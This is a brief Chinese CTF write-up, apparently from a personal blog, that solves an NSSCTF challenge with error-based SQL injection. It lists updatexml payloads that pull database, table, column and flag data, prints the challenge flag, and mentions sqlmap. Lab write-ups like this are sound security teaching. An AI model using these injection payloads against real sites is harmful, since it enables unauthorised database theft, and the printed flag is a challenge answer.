本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

尝试输入 ‘
发现是get传参
并且是字符型
使用报错注入
查当前数据库名
?id=%27 and updatexml(1,concat(‘~’,database(),’~’),3) %23

查表名
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23

查字段
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’test_tb’),’~’),3) %23

查数据
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(flag,id) from test_db.test_tb),’~’),3) %23

使用substr函数截取字段
?id=%27 and updatexml(1,concat(‘~’,(select substr(group_concat(flag,id),22,32) from test_db.test_tb),’~’),3) %23

拼接flag
NSSCTF{f655bfab-5e7f-40f2-8136-b3a5c08a7694}
或者使用sqlmap
启动指令:
python sqlmap.py -h

总结
报错注入
substr截取函数
sqlmap工具的使用